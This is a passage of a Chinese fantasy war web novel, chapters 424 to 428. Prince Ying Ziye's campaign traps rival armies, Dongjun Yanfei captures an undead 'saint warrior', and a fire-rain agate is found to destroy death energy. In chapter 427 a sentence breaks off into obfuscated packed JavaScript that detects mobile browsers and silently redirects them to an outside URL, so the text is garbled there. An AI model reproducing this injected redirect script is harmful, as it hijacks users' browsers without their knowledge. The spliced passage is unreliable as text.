他的手指狠狠一划,仿佛要将地图割裂!
“彻底切断大月氏残部、乌孙陀罗,与楼兰、龟兹等西域联军之间的联系通道!”
“我要让他们首尾不能相顾,信息无法传递!”
“变成两只被分别困在笼子里的瞎眼野兽!”
赢子夜直起身,环视众人,脸上露出一抹冰冷而一切尽在掌握的笑容,声音如同寒冰撞击。
“本公子要将匈奴头曼,大月氏乌孙陀罗,还有那些自以为是的西域联军……全部困死在这西域之地!”
“让他们在这最后的角斗场里,尽情地厮杀,耗尽最后一滴血!!”
这一刻!
厅内所有将领都彻底明白了赢子夜的宏大布局与狠辣决断!
北疆平定并非终点,而是将帝国最强力量投入西域决战的号角!
殿下这是要坐山观虎斗。
等西域这几方势力拼得筋疲力尽,两败俱伤之后,再以泰山压顶之势,挥师西进,将他们……
一口全部吞下!
“殿下英明!末将等领命!”
第424章 我的地盘,我做主!
西域西北部。
一片名为“鬼哭峡”的荒芜之地。
这里远离赤沙原的主战场。
嶙峋的怪石如同巨兽的骸骨,狂风穿过狭窄的峡谷,发出凄厉如鬼泣的呼啸。
东君焱妃,一袭紫衣,静立于一块鹰嘴状的巨岩阴影之下。
绝美的面容清冷如霜。
唯有那双深邃的眼眸,紧盯着峡谷唯一的通道。
她的身边,是十余名如同岩石般沉默的暗河精锐。
他们完美地融入了环境,气息收敛到了极致!
根据逆流沙冒险传来的密报,一支由一名圣士率领,押送着大量匈奴俘虏的队伍,将在今日傍晚时分途经此地,返回大月氏控制区。
他们的任务是奇袭匈奴后方得手后,押送“战利品”回撤。
这是焱妃完成任务的最佳机会,也是唯一的机会!
风声鹤唳中,远处终于传来了沉闷的车轮声和杂乱的脚步声,以及匈奴俘虏低沉的啜泣和呵斥。
一支队伍缓缓出现在峡谷入口!
队伍核心,是一名身披残破圣士袍服,周身缭绕着灰黑色死气的身影!
他眼神空洞,步伐僵硬,正是十二圣士之一!
而他身后,是近百名眼神麻木,动作却异常迅捷的大月氏傀儡士兵。
押解着数百名被绳索串联,面带恐惧与绝望的匈奴俘虏。
就是现在!
焱妃眼中寒光一闪,玉手轻抬,做了一个进攻的手势。
“咻咻咻——!”
埋伏在两侧石壁上的暗河精锐骤然发难!
淬毒的弩箭如同毒蛇出洞,精准地射向那些傀儡士兵的关节、眼眶等相对脆弱的部位!
同时,数道黑影如同鬼魅般扑下!
短刀闪烁着寒光,直取要害!!
“敌袭!”
傀儡士兵的反应出乎意料的快。
他们似乎没有恐惧,立刻结阵抵抗,与暗河杀手绞杀在一起!
虽然暗河杀手个体实力更强,手段狠辣,但这些傀儡士兵不惧伤痛,生命力顽强,一时间竟也难以迅速解决!
而那名圣士,在遇袭的瞬间,空洞的鬼火眸子骤然转向暗河杀手出现的方向!
一股冰冷的死气如同潮水般以他为中心扩散开来!
他枯爪抬起,就要施展那吞噬生命的邪术!
“你的对手,是我!”
清冽如凤鸣的声音响起!
焱妃的身影已如一道紫色惊鸿,从鹰嘴岩上飘然而下,拦在了那名圣士面前!
她没有任何废话,双手在胸前结出一个繁复古老的印诀。
周身磅礴的阴阳二气以前所未有的速度疯狂运转压缩!
她知道,寻常手段绝难对付这被邪力控制的圣士。
唯有倾力一击!
随着她印诀的完成,一个约莫尺许见方,通体由紫水晶般能量构成的玲珑宝盒虚影,在她身前骤然凝聚!
这宝盒出现的刹那,周围的空气仿佛都凝固了!
连峡谷的鬼哭风声都为之停滞!!
宝盒表面,无数细密如星辰,复杂如天道轨迹的符文流转不息,散发出一种直指灵魂本源,掌控时空韵律的至高气息!
——幻音宝盒!
阴阳家至高秘宝之一!
焱妃此刻,强行催动的正是她目前所能驾驭的最接近本源的第四层力量!
“徵——幻音涤魂,万象归寂!”
焱妃朱唇轻启,吐出的每一个字都仿佛带着奇异的魔力,与那幻音宝盒的虚影产生共鸣。
她脸色瞬间变得苍白如纸。
显然强行催动此术对她负担极大。
但她眼神却无比坚定!
“铮——!”
一道无法用言语形容其色彩与旋律的音波,如同水纹般以宝盒为中心,无声无息地扩散开来!
这音波并非作用于耳膜,而是直接震荡灵魂,扭曲感知!
光线在音波中变得扭曲迷离,空间仿佛泛起了涟漪,时间流速都似乎变得紊乱!
那圣士抬起的枯爪僵在了半空!
他周身那浓郁的死气如同沸水般剧烈翻腾、溃散!
他空洞的眼窝中,那两簇鬼火疯狂地跳动,明灭不定。
仿佛受到了极大的冲击!
他那被乌孙陀罗邪力彻底掌控,只剩下杀戮与吞噬本能的心智。
在这直击灵魂本源的幻音洗涤下,竟然出现了一丝剧烈的挣扎和混乱!
他抱着头颅,发出了无声的嘶吼!
身体不受控制地颤抖起来!
那恐怖的吞噬力场也随之瓦解!
就是现在!
焱妃强忍着几乎脱力的虚弱和灵魂传来的刺痛,玉指如电,瞬间点向圣士周身十几处大穴。
紫金色的阴阳二气如同锁链,瞬间侵入其体内。
将其残存的行动能力和邪力运转节点彻底封死!
“噗通!”
那名圣士眼中的鬼火骤然黯淡,身体一软,直挺挺地倒在了地上,失去了所有反抗能力。
“撤!”
焱妃声音微弱,却带着不容置疑的决断。
她看也不看那混乱的战场和惊恐的俘虏。
一把抄起被制伏的圣士,身形晃动,已向着预先规划好的撤离路线疾驰而去。
暗河精锐见状,也毫不恋战,立刻摆脱纠缠。
如同潮水般退入嶙峋的石林阴影之中,瞬间消失得无影无踪。
整个过程,从发动袭击到制伏圣士再到全员撤离,不过短短十几次呼吸的时间!
快如闪电,干净利落。
只留下峡谷中一片狼藉。
那些茫然无措的傀儡士兵,以及惊魂未定的匈奴俘虏。
鬼哭峡再次恢复了死寂,只有风声依旧……
……
数日之余。
北疆。
刚刚被肃清的匈奴王庭旧址附近,一座临时搭建却气势不凡的行营内。
胡亥慵懒地靠坐在铺着雪白狼皮的帅榻上,手中把玩着一枚精致的玉杯,里面猩红的葡萄美酒荡漾着。
他面前,站着几名心腹将领。
方才赢子夜使者传达的命令余音仿佛还在帐内回荡。
一名脸上带着刀疤,眼神凶悍的将领忍不住上前一步,压低声音,语气充满了不甘与疑虑。
“公子,六殿下之令,让我们将此地交由王贲将军的人接管,然后即刻驰援西北边疆……”
“我们……我们真的要放弃这辛辛苦苦打下的王庭和诸多城池,就这么走了?”
胡亥闻言,嗤笑一声,将杯中酒一饮而尽,随手将玉杯丢在案几上,发出清脆的碰撞声。
他抬起眼,那双与赢子夜有几分相似,却更多了几分阴鸷与桀骜的眸子里,闪烁着冰冷而讥诮的光芒。
“放弃?拱手让人?”
胡亥的声音带着毫不掩饰的嘲弄。
“本公子率领儿郎们浴血奋战,踏破王庭,横扫诸部,死了多少人才换来这片土地?”
“凭什么他赢子夜一纸命令,就要本公子乖乖交出去?”
“凭什么好处都要让他占了?”
那刀疤将领面露忧色。
“可是公子,方才使者传达的乃是殿下之令,若是王贲将军的人前来接管,我们……”
“接管?”
胡亥打断他,嘴角勾起一抹极其冷酷而诡诈的弧度。
“本公子先前呈送的战报里,可是写得清清楚楚——”
“虽绝大多数部族已望风归降,然,仍有冥顽不灵之小股部落,在外流窜,劫掠商旅,危害四方。”
他站起身,走到营帐门口,掀开帘子,望着外面属于草原的辽阔天空。
声音带着一种虚伪的担忧与不容置疑的强势!
“本公子身为父皇钦命的行军都尉,自然要以彻底平定北疆,清除所有隐患为己任!”
“在将这些流窜的残匪彻底剿灭,确保北疆万无一失之前,本公子……实在是心有余而力不足,无法分身他顾,去驰援什么西北边疆啊!”
他猛地转身,目光扫过心腹将领,脸上那抹冷笑愈发森然!
“至于王贲将军派来接管城池的人嘛……”
“呵,这北疆刚刚经历战火,鱼龙混杂,谁知道来的是不是真正的秦军?”
“万一是那些狡猾的草原部族乔装打扮,意图混入城中,里应外合呢?”
“为了城池安危,为了不负父皇重托,本公子……不得不谨慎行事!”
“在未验明正身,确保万无一失之前,绝不能轻易交接!”
此言一出。
帐内众将先是一愣,随即瞬间恍然大悟!
脸上纷纷露出了心领神会,甚至带着一丝兴奋的神色。
高!
实在是高!
公子这是明摆着要赖在北疆不走了!
用“清剿残匪”和“防范奸细”作为冠冕堂皇的借口,直接将赢子夜的命令和王贲的接管无限期拖延下去!
只要他们牢牢控制着北疆的核心区域和兵马,这里就是公子胡亥说了算!
胡亥看着手下们了然的神情,满意地坐回狼皮榻,重新为自己斟满一杯酒。
语气带着一种掌控一切的得意与对赢子夜的隐隐挑衅。
轻声自语,却又足以让帐内所有人都听得清清楚楚。
“我的好六哥……”
“你的手,伸得未免太长了。”
“这北疆,现在可是我胡亥的地盘!”
“这里……我做主!”
第425章 不惜一切代价都要将他带回来!
数日后。
石堡城帅府。
气氛因接连传来的战报而显得凝重且紧张。
“报——!”
“殿下,蒙犽将军急报!”
“大月氏乌孙陀罗遣奇兵绕后,偷袭匈奴大军粮草重地,焚毁大量辎重!”
“西域联军趁势猛攻,头曼被迫放弃前沿阵地,正向西北方向溃退!”
赢子夜站在沙盘前,手指在代表匈奴溃退路线的区域重重划过,眼神锐利如鹰。
“西北方向……他想退入草原,寻求喘息之机?”
他冷哼一声,声音带着不容置疑的铁血决断。
“传令蒙犽,以及西北边疆所有关隘守将!给本公子死死钉在防线上!”
“加固工事,增设岗哨,多备**滚木!”
“绝不能让头曼和他残存的兵马,踏出西北边疆一步!”
“我要将他这十几万大军,彻底困死在西域!”
他目光随即扫向沙盘上西北边疆外侧,与大月氏、楼兰等国接壤的广袤区域,眉头微蹙。
“大月氏既能分兵偷袭匈奴后方,难保西域联军不会效仿,亦或乌孙陀罗另有诡计。”
“传令各边境据点,提高警惕,加强巡逻,严防西域敌军偷袭我防线侧后!绝不可有丝毫懈怠!”
就在这时!
赢子夜怀中一枚特定的通讯符箓突然发烫,传来一阵急促的波动。
他立刻取出,神识沉入——
是负责与东君焱妃联络的暗河成员发出的求援信息!
信息很短,却让赢子夜眼神骤然一凝!
东君已成功制伏一名圣士,但在携带圣士撤离途中,于风蚀谷一带遭遇大月氏高手的追击与拦截。
对方人数不少,实力强横。
暗河成员已有不少损伤。
形势危急,请求速派援军!!!
“风蚀谷……”
赢子夜瞬间在沙盘上定位到此地。
那里距离石堡城有相当一段距离,且地形复杂,远离主战场,显然是他们精心选择的伏击地点!
大月氏倒是反应快……
无论如何,东君焱妃不容有失!
她不仅关乎对圣士的研究,更关乎他赢子夜的承诺与信誉!
没有丝毫犹豫。
赢子夜猛地转身,玄色披风扬起一道凌厉的弧线,声音斩钉截铁,响彻帅府。
“赵弋苍!”
“属下在!”
赵弋苍独臂按刀,瞬间出列。
“点齐你麾下最精锐的五十名暗河好手,全部配备双马、强**、解毒丹药!”
“再调一百雷骑卫,随本公子即刻出发!”
赢子夜语速极快,带着一股不容置疑的急切与杀意。
“目标——风蚀谷!驰援东君!”
“殿下,您要亲自去?”
蒙犽闻言,脸上露出担忧之色。
“如今边境局势紧张,匈奴溃退,西域动向不明,殿下身系全局,岂可轻动?”
“不若由末将……”
“不必多言!”
赢子夜打断他,眼神冰冷而坚定。
“东君为本公子办事而遇险,本公子岂能坐视?”
“况且,一名活着的圣士,对我军了解乌孙陀罗邪术至关重要!”
“此地交由你全权负责,守好防线,按计划行事!”
他目光扫过众将,带着绝对的威严。
“在本公子回来之前,稳守为上,绝不可擅自出击!”
“诺!末将(属下)遵命!”
蒙犽与赵弋苍深知赢子夜性格。
一旦决定,绝难更改,只能领命。
赢子夜不再耽搁,甚至来不及更换甲胄,直接大步向外走去。
府外,接到命令的暗河精锐与雷骑卫已然集结完毕。
人马肃立,杀气腾腾。
赢子夜翻身上马,定秦剑在腰间轻鸣,他目光投向风蚀谷的方向,眼中寒光凛冽!
“出发!”
……
黑石堡。
这座被浓郁死气笼罩的临时王庭内,气氛比往日更加阴森压抑。
乌孙陀罗高踞在由骸骨和黑石粗糙垒砌的王座上。
深陷的眼窝中,两簇鬼火剧烈地跳动着,显示着他极不稳定的情绪。
他正对着几名同样死气缭绕的将领,用沙哑刺耳的声音部署着下一步对匈奴残军和西域联军的进攻路线。
枯爪般的手指,在简陋的地图上划出一道道充满毁灭意味的轨迹。
“……从这里,撕开他们的防线,本王要亲自吸干头曼那条老狗的精血!”
“还有那些西域杂碎,一个不留……”
就在这时!
一名斥候连滚带爬地冲进大殿!
脸上充满了极致的恐惧,扑倒在地,声音颤抖得几乎无法成句。
“伟……
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伟大的王!”
“不……不好了!”
“刚……刚刚接到前方急报,东君焱妃带领一批人,在……在鬼哭峡伏击了我们押送俘虏的队伍!”
“他们……他们掳走了‘蚀骨’圣士!”
“此刻正沿着幽魂小径一路向东逃离,我们的人几次拦截,都……都被他们摆脱了,暂时……暂时还未截获!”
“什么?!”
乌孙陀罗猛地从王座上站起!
周身那灰黑色的死气如同沸腾的墨汁般轰然爆发,瞬间充斥了整个大殿!
冰冷的杀意让温度骤降,墙壁上甚至凝结出了白霜!
“废物!一群废物!”
他发出如同夜枭啼哭般的尖啸!
声音中充满了被触犯逆鳞的暴怒与一种近乎失控的癫狂!
“连一个圣士都看不住!本王养你们何用?!”
他猛地看向那名吓得瘫软在地的斥候,眼中鬼火暴涨,充满了对生命极致的贪婪与暴戾。
“既然没用,那就把你的命……献给本王吧!”
枯爪隔空一抓!!
“不!王上饶命——!”
斥候发出凄厉到极致的惨叫。
身体如同被无形的巨力扼住喉咙提起,剧烈地抽搐起来。
肉眼可见的生机混合着血气,疯狂地从他七窍中被强行抽出,涌入乌孙陀罗的掌心!
不过眨眼之间。
那名斥候便化作了一具轻飘飘的干尸。
“啪嗒”一声掉落在地,摔得粉碎!
乌孙陀罗吸收了这点微不足道的生机,胸膛剧烈起伏。
仿佛这残忍的杀戮稍稍平息了他一丝怒火,但那双鬼火眸子却更加骇人!
他死死盯着东方,声音如同九幽寒冰,带着不惜一切代价的疯狂,对着殿内噤若寒蝉,瑟瑟发抖的将领和圣士们咆哮!
“传本王死令!”
“调动所有能调动的力量,给本王追!”
“沿着幽魂小径,堵死所有可能逃离的路线!”
“不惜一切代价!无论死多少人,都要给本王把‘蚀骨’带回来!”
他枯瘦的身躯因极致的愤怒而微微颤抖,咆哮声震得大殿簌簌落灰。
“若是让他落入秦狗之手,你们……统统都要给他陪葬!快去!!”
“谨遵王命!”
殿内众人如蒙大赦,连滚带爬地冲出大殿。
第426章 此物竟可压制死气?!
几日后。
风蚀谷深处,乱石嶙峋,狂风卷起砂砾,发出呜咽般的嘶鸣!
东君焱妃一身紫衣已沾染了不少尘土与暗红的血迹。
她玉容清冷,嘴角却挂着一丝未干的血迹。
她且战且退,双手舞动间,磅礴的阴阳二气化作一道道紫金色的屏障与凌厉的气刃,将身后追击的数名大月氏高手死死挡住!
这些高手周身死气缭绕,眼神疯狂,攻势悍不畏死。
虽个体实力不及焱妃。
但那不惧伤痛,以命换命的打法,也让消耗巨大的焱妃感到无比棘手,只能勉强支撑,护着后方暗河成员押送那名被制伏的圣士缓缓后撤。
然而。
就在她再次击退一波亡命冲击,气息微喘之际。
前方狭窄的谷口处,骤然出现了三道更加令人心悸的身影!!
同样的残破圣士袍服,缭绕的灰黑死气,空洞燃烧着鬼火的眼眸!
三名圣士,如同三尊从地狱爬出的死神,并排而立,堵**唯一的退路!
他们身后,还有更多影影绰绰,气息阴冷的高手!
焱妃的脸色瞬间变得苍白如纸!
一颗心沉到了谷底。
一个圣士,已让她底牌尽出,几乎脱力才勉强制伏。
如今同时面对三个,还有这么多高手……
绝境!
这是真正的十死无生之局!!!
那三名圣士没有任何言语,空洞的目光瞬间锁定了被暗河押送的同伴,以及挡在前方的焱妃。
他们同时抬起了枯爪,浓郁的死亡力场骤然叠加,如同无形的沼泽,笼罩了整片区域!
空气变得粘稠冰冷,连呼吸都感到困难。
周围的光线都仿佛被那死气吞噬,变得昏暗下来。
“保护好圣士!”
焱妃咬牙,强提最后的内力,紫气再次升腾,准备做殊死一搏,哪怕明知是螳臂当车!
就在这千钧一发之际。
“轰咔——!”
一道煌煌如天威的紫色雷霆,如同撕裂昏晓的巨龙,毫无征兆地从天而降,精准无比地轰击在三名圣士与那群高手之间!
狂暴的雷劲炸开!
电蛇狂舞,瞬间将叠加的死亡力场撕开一个巨大的缺口!
灼热阳刚的气息驱散了部分阴冷死寂!
雷光散尽。
一道玄色身影如同天神下凡,手持缠绕着刺目紫雷的天子剑,稳稳落在焱妃身前。
衣袂猎猎,眼神冰冷地扫视着前方的三名圣士。
“殿下!”
焱妃看到这熟悉的背影,紧绷的心弦骤然一松!
几乎脱力的身体晃了晃,眼中流露出劫后余生的激动。
赢子夜没有回头,声音沉稳。
“东君阁下辛苦了,先调息片刻。”
“这些杂鱼,交给本公子!”
“赵弋苍,带人护住侧翼,清理其他喽啰。”
“诺!”
紧随赢子夜而来的暗河精锐与雷骑卫立刻散开,**箭上弦,刀锋出鞘,杀气腾腾地对上了那些随行的高手!
而那三名圣士,被赢子夜的雷霆一击阻挠,空洞的眼中鬼火跳动,似乎产生了一丝本能的忌惮。
但随即,又被更强的杀戮指令所覆盖!
同时发出无声的嘶吼,周身死气暴涨!
如同三道灰色闪电,齐齐扑向赢子夜!
赢子夜眼神一凝,定秦剑挥洒而出,紫雷纵横,与三名圣士瞬间战作一团!
他没有使用繁复的剑招。
每一剑都蕴含着至阳至刚的霸道雷劲!
劈、砍、刺、撩,简单直接,却威力无穷!
雷光与死气疯狂碰撞、湮灭,发出滋滋的腐蚀声与沉闷的爆鸣!!
而赢子夜在与这三名圣士交手的过程中,也敏锐地感知到,他们确实继承了乌孙陀罗那吞噬生命力的部分特性。
周身力场不断试图侵蚀他的雷罡,抽取他的生机。
而且身体坚韧,不惧普通创伤。
但相比起乌孙陀罗本尊,他们的力量显得驳杂而不纯。
吞噬之力也弱了不止一筹。
更像是被强行灌注了邪力的傀儡。
“果然……空有其形,未得其神。”
赢子夜心中了然。
这些圣士虽难缠,但并非无法对付!
只是他们不惧伤痛,配合默契,想要短时间内解决,也需费一番手脚。
就在赢子夜与三名圣士激战正酣,雷骑卫和暗河也与对方高手厮杀得难分难解之际。
“咔嚓!咔嚓!咔嚓!”
一阵阵令人牙酸的机括转动声,突然从四周的石壁和地下传来!
下一刻,数十具形态各异,通体由金属与木材构成的机关人,如同从沉睡中苏醒的士兵,破土而出!
挥舞着闪烁着寒光的利刃与沉重的钝器,悍不畏死地冲入了战团!!!
这些机关人目标明确。
大部分直接攻向那些大月氏高手和圣士。
它们的攻击势大力沉,结构坚固!
虽然动作略显僵硬,但完美地充当了肉盾和搅局者的角色,瞬间打乱了敌人的阵脚,极大地缓解了赢子夜和暗河一方的压力!
赢子夜一剑逼退一名圣士。
目光扫过那些造型奇特,充满了霸道机关术风格的机关人,眼中闪过一丝了然。
“公输仇……”
随着那数十具机关人悍不畏死地冲入敌阵。
后方,公输仇那矮小精悍的身影也出现在谷口。
他身后,二百名身着葛布短衣,眼神精亮的万世书院机关术弟子如同潮水般涌来!
他们并不直接参与近身搏杀。
而是迅速散开,占据有利地形。
手中或持奇特的机关连**,或操控着更多的形态各异的辅助型机关兽——
有喷吐腐蚀酸液的蜥蜴!
有发射淬毒钢针的蜂巢!
有挥舞着巨大铁钳的蝎子!
瞬间在战场上构筑起一道凌厉而诡异的机关防线。
“哈哈哈!殿下!别来无恙啊!”
“老夫这份薄礼,可还入得了您的眼?”
公输仇发出他那标志性带着金属摩擦感的怪笑,目光扫过战场,尤其是在那三名圣士身上停留了片刻。
充满了对“材料”的贪婪与研究欲!!
有了公输家弟子的火力支援和机关兽的牵制,暗河与雷骑卫压力大减!
开始更加有效地清剿那些普通的大月氏高手!
而战场的核心。
依旧是赢子夜与三名圣士的对抗。
公输仇显然也看出了圣士的难缠。
他怪笑着,亲自操控数具明显更加高大,结构也更复杂的重型机关人,加入了赢子夜的战团!
这些重型机关人力量奇大,防御惊人。
它们并不与圣士比拼技巧,而是如同移动的堡垒,用沉重的铁拳和坚固的身躯,硬生生地阻挡、冲撞圣士的攻势!
为赢子夜创造了绝佳的攻击机会!
赢子夜剑出如雷,紫电煌煌,在机关人的配合下,攻势愈发凌厉!!
一名圣士在躲避赢子夜雷霆一剑时,被一具重型机关人从
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侧方猛地撞中,身形一个趔趄!
它似乎被这不知疼痛的“铁疙瘩”激怒,枯爪带着浓郁死气,狠狠抓向那机关人的胸膛,试图将其撕裂。
“咔嚓!”
一声脆响!
那机关人坚硬的胸甲竟被圣士的利爪硬生生抓裂,露出了内部精密复杂的齿轮和传动结构。
以及一块镶嵌在核心能量槽中,正散发着柔和而稳定白光的晶石!!
然而,圣士这含怒一击力道过猛,爪风余势不减。
竟意外地擦过了晶石旁边一个稍小一些的作为备用能源的暗红色宝石。
“嗡——!”
那暗红色宝石被触及的瞬间!
骤然爆发出远超平常,如同岩浆般炽烈耀眼的红光!
这红光并非热量,而是一种极其特殊的能量波动!
带着一股灼热、净化般的奇异气息,瞬间笼罩了那名圣士。
“呃啊——!!”
一直如同死物般沉默的圣士,竟在此刻发出了凄厉至极,仿佛源自灵魂深处的痛苦嘶吼!
他周身那浓郁的灰黑色死气,如同冰雪遇到烈阳般,发出“嗤嗤”的异响。
迅速消融、溃散!
枯槁的身体也剧烈地抽搐起来。
眼窝中的鬼火明灭不定,仿佛随时都要熄灭。
整个人的气息瞬间萎靡到了极点,直接从半空中摔落在地!
蜷缩着,痛苦地翻滚!!
这突如其来的变故,让所有人都是一惊!
赢子夜眼神骤然锐利如刀,死死盯着那块逐渐恢复平静的暗红色宝石。
又看了看地上痛苦不堪的圣士……
脑中灵光一闪,瞬间联想到了一切!
“火雨玛瑙……竟对此等死气有如此强烈的克制净化之效?!”
一个清晰的念头在他心中形成。
这绝非巧合!
几乎就在那名圣士遭受重创的同时,另外两名正在与赢子夜和机关人缠斗的圣士,动作猛地一滞!
空洞的眼窝中鬼火疯狂跳动。
仿佛接收到了某种无形的指令。
它们竟毫不犹豫地舍弃了战斗,身形化作两道灰影,以比来时更快的速度,头也不回地向着风蚀谷深处遁去。
眨眼间便消失不见!
连圣士都逃了,剩下的那些大月氏高手和兵士更是魂飞魄散,哪里还敢恋战?
发一声喊,如同无头苍蝇般仓皇四散,向着谷外逃窜!
只留下满地狼藉的尸体和那个依旧在痛苦**的重伤圣士。
“想跑?给老夫留下!”
公输仇怪叫着,还想、操控机关追击。
“穷寇莫追!”
赢子夜出声制止,他目光扫过一片混乱的战场,最后落在那名蜷缩在地、气息微弱的圣士身上。
此地距离大月氏控制区太近,敌方援军随时可能到来,绝非久留之地。
他快步走到那名重伤的圣士旁,蹲下身仔细查看。
只见这圣士原本青灰色的皮肤下,仿佛有无数细小的红色光点在窜动。
他身体的抽搐并非伪装。
而是源自一种能量层面的剧烈冲突带来的极致痛苦!
虽然重伤濒死,但确实还残留着一丝生机!
赢子夜眼中闪过一丝思索。
活着的,并且处于这种特殊状态下的圣士,研究价值很大。
“此地不宜久留!”
赢子夜站起身,果断下令。
“带上他,还有之前制伏的那名圣士,立刻撤离!”
“目标——距离此地最近的‘铁壁城’!”
第427章 打造大秦重兵!
黑石堡深处,幽暗的殿堂内。
乌孙陀罗猛地从他那骸骨王座上弓起身!
枯槁如鬼爪的手死死捂住胸口!
深陷的眼窝中,那两簇幽冷的鬼火如同被狂风吹拂,剧烈地摇曳,黯淡了一瞬。
一股突如其来,源自生命本源的悸动与虚弱感,如同无形的针芒,狠狠刺入他依靠邪术强行维持的残躯。
他能清晰地感觉到。
那维系着他与十二圣士之间,如同血脉般连接的死气能量。
其中一股……
骤然变得极其微弱,几乎断绝!!
更让他惊怒的是,随着那股连接的衰弱,他自身那本就如同风中残烛,依靠不断吞噬外界生机才能勉强维持的力量,竟也仿佛被什么东西隐隐压制,削弱了一丝。
虽然这削弱极其细微。
但对于时刻游走在崩溃边缘的他而言,不啻于晴天霹雳!!
“呃啊……”
他发出一声痛苦而暴怒的低吼。
周身死气不受控制地翻腾逸散。
将他那张骷髅般的脸映衬得更加狰狞可怖!
他能够感觉到,是“蚀骨”圣士那边的营救行动出了惊天变故!
派去的三名圣士,其中一人,似乎还遭遇了某种能克制甚至伤害到他这邪力本源的东西!
“废物!都是废物!”
乌孙陀罗咆哮着。
声音沙哑如同砂纸摩擦,充满了极致的愤怒与一丝连他自己都不愿承认的惊惧!
“等他们回来……等他们滚回来!”
“本王定要弄清楚……到底是谁!用了什么手段?!”
他必须知道!
否则,这能伤及他本源的未知威胁,将成为悬在他头顶的利剑,让他寝食难安!!!
……
数日后。
铁壁城。
秦军临时征用的一处坚固石堡内。
气氛凝重。
赢子夜看着面前地上那具彻底失去生机,如同被风干了数年的枯槁尸体,眉头紧锁。
这正是那名在风蚀谷被火雨玛瑙能量重创的圣士。
他体内的死气已完全消散,皮肤呈现出一种诡异的焦黑色,仿佛被无形的火焰从内部灼烧过。
“殿下,你们回来时,他尚有一丝微弱气息,但不过半个时辰,便彻底……寂灭了。”
一名负责看管的暗河成员低声禀报。
赢子夜微微颔首,目光转向另一侧。
那里,第一名被焱妃以阴阳术制伏的圣士,依旧被紫金色的能量锁链紧紧束缚着。
眼神空洞,但周身那灰黑色的死气仍在缓缓流转。
赢子夜从玄戒中取出一块仅有指甲盖大小,色泽暗红,内部仿佛有熔岩流动的宝石碎片——
正是火雨玛瑙!
他小心翼翼地控制着内力,将一丝极其微弱的火雨玛瑙能量,引导向那名被束缚的圣士。
“嗤——!”
当那丝炽热净化的能量触碰到圣士周身的死气时,仿佛冷水滴入滚油,立刻发出了清晰的令人心悸的侵蚀声。
那圣士原本麻木僵硬的身体猛地剧烈抽搐起来!
喉咙里发出压抑的如同野兽受伤般的呜咽。
空洞的眼窝中,鬼火疯狂跳动,明灭!
显露出极致的痛苦!
他周身的死气以肉眼可见的速度变得稀薄紊乱,其散发出的能量波动也明显衰弱了一截。
“果然有效!”
赢子夜眼中精光一闪。
这火雨玛瑙的能量,对于乌孙陀罗这一系的死气邪力,有着极强的克制与净化作用。
但他并未停下观察。
在接下来的数个时辰里,他命人严密监控这名圣士的状态。
他发现,即使不再用火雨玛瑙刺激,这名圣士的力量和生命力,依旧在以一种恒定而缓慢的速度流逝着,就仿佛他本身就是一个不断漏水的破桶!
火雨玛瑙只是加速了这个过程,并带来了巨大的痛苦。
一个更大胆,也更残酷的试验在他心中形成!!
“押一个匈奴俘虏过来。”
赢子夜的声音冰冷,不带丝毫感情。
很快。
一名被俘的身材还算健壮的匈奴士兵被押了进来。
他脸上充满了恐惧与茫然。
赢子夜示意暗河成员解开那名圣士的部分束缚,并引导其本能地靠近那名匈奴俘虏。
就在圣士的枯爪触碰到匈奴俘虏皮肤的刹那,那股熟悉的吞噬之力再次出现!
匈奴俘虏发出凄厉的惨叫。
身体以肉眼可见的速度干瘪下去。
生命力化作血色能量流入圣士体内!
而那名圣士,在吸收了这股生命力后,周身原本稀薄的死气似乎凝实了一丝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593127|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>那不断衰弱的趋势也得到了短暂的遏制。
连痛苦的表情都舒缓了不少。
然而,赢子夜敏锐地感知到。
这种“恢复”只是表面的,如同给一个无底洞投入沙石,根本无法填满。
圣士体内那核心的“缺损”依旧存在。
生命流逝的根本趋势并未改变,只是被新注入的生命力暂时掩盖和推迟了。
赢子夜挥手,示意将那名已然化作干尸的匈奴俘虏拖下去。
他站在原地,看着那名因为得到补充而暂时安静下来的圣士,眼中露出了了然与冰冷的光芒。
“原来如此……”
赢子夜低声自语,彻底明白了乌孙陀罗和这些圣士的力量本质。
“饮鸩止渴,剜肉补疮!”
“这根本就是一种以燃烧自身生命和灵魂为代价,通过不断掠夺外界生机来维持存在的邪术!”
“所谓的强大,不过是建立在沙滩上的城堡,随时都可能彻底崩塌!”
“火雨玛瑙,正是能加速他们崩塌的催化剂!”
想通了这一切,一个清晰的对策在他脑海中形成。
他立刻转身,对侍立一旁的赵弋苍和公输仇沉声道:“此地不宜进行大规模锻造。”
“我们即刻动身,返回石堡城!”
他看向公输仇,语气带着不容置疑的决断。
“公输先生,抵达石堡城后,需要你和你门下弟子全力相助!”
“本公子会提供所有能找到的火雨玛瑙原料,需要你尽快设计并督造出一批能够镶嵌,引导火雨玛瑙能量的特殊兵器——”
“箭簇、矛头、乃至一些特殊的机关触发装置!”
“不必追求华丽,只要实用,能最大程度发挥出火雨玛瑙克制死气的效果即可!”
公输仇那隐藏在木质面具下的眼睛顿时爆发出狂热的光芒!
他搓着手,发出桀桀怪笑。
“没问题!殿下!老夫对这等死气邪祟最感兴趣了!”
“包在老夫身上!定让那些不人不鬼的怪物,尝尝我霸道机关术与这宝贝结合后的厉害!”
赢子夜颔首,不再耽搁。
“传令下去,即刻准备,返回石堡城!”
“我们要在乌孙陀罗和他的傀儡大军反应过来之前,将这把专门为他们准备的屠刀,磨得足够锋利!”
第428章 既然十八弟不来,那就帮他一把!
与此同时。
西北边疆,烈风关。
这座扼守通往草原咽喉的雄关,此刻如同一位披坚执锐的巨人,沉默地矗立在苍茫天地之间!
关墙之上,黑色的秦字大旗在夹杂着黄沙的狂风中猎猎作响。
旗下,是密密麻麻,甲胄森严的秦军将士。
而城墙垛口后,一架架狰狞的床弩如同蛰伏的凶兽,粗大的弩箭闪烁着寒光。
滚木礌石堆积如山。
一口口大锅内,滚烫的金汁翻滚着,散发出令人作呕的气味!
所有士兵的眼神都锐利如鹰,紧盯着关外那片死寂的旷野,空气中弥漫着大战前令人窒息的压抑。
他们接到的命令只有一个——
